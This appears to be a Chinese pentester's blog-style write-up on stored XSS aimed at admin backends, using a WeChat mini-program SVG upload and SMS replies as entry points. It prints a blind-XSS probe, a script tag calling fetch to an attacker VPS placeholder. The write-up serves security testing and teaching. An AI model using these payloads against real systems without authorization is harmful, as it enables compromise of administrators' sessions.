所谓的后台xss(Cross-Site Scripting)本质上是一个存储型xss,区别在于所攻击的目标不是平台普通用户而是后台管理员,难点在于对于此类xss不像常规xss一般容易判断,以下为实战项目中遇到的两个后台xss案例:
案例一:微信小程序 → Web后台XSS
案例一是通过微信小程序打到web应用后台的xss。起因是留言功能需要后台审核才能展示留言。
来到商户详情进行留言评论,在留言时发现图片上传功能点未严格控制图片后缀名,因此上传svg xss文件进行测试。
由于是项目不是SRC,所以我也有后台管理员的账号(嘿嘿嘿)。
后台可查看上传的svg格式的xss图片。
点击查看图片即可触发xss。
案例二:短信 → Web后台XSS
案例二更难发现,是通过短信来打到web后台的xss,实战中更难遇到也更少我觉得,此案例仅提供参考,了解大概思路:
对方发送短信后台都是有记录的,说不定也存在对于用户回复的短信记录,这里发送xss payload进行测试(由于后台无法删除用户短信回复的记录所以用的console.log进行验证),来到后台进行查看。
console.log成功执行并在控制台打印123。
无后台账号时如何验证XSS
两个案例都是已经有后台账号所以方便进行对xss的验证,在更多的实战中往往是没有后台账号进行验证的,这时候该如何去确定后台是否存在xss呢?
xss漏洞的本质是通过浏览器前端渲染执行javascript恶意代码从而造成攻击,所以不一定非要弹窗才能确定xss是否存在。这里利用script标签来执行fetch函数去发起请求,请求的地址改为自己的vps地址从而进行确定javascript恶意代码是否成功执行:
<script>fetch("https://xxx.com/xsstest")</script>
检查vps是否收到请求,如果有则成功执行javascript恶意代码,没有则说明后台并没有成功执行。
PS:以上仅为个人观点,欢迎师傅们指正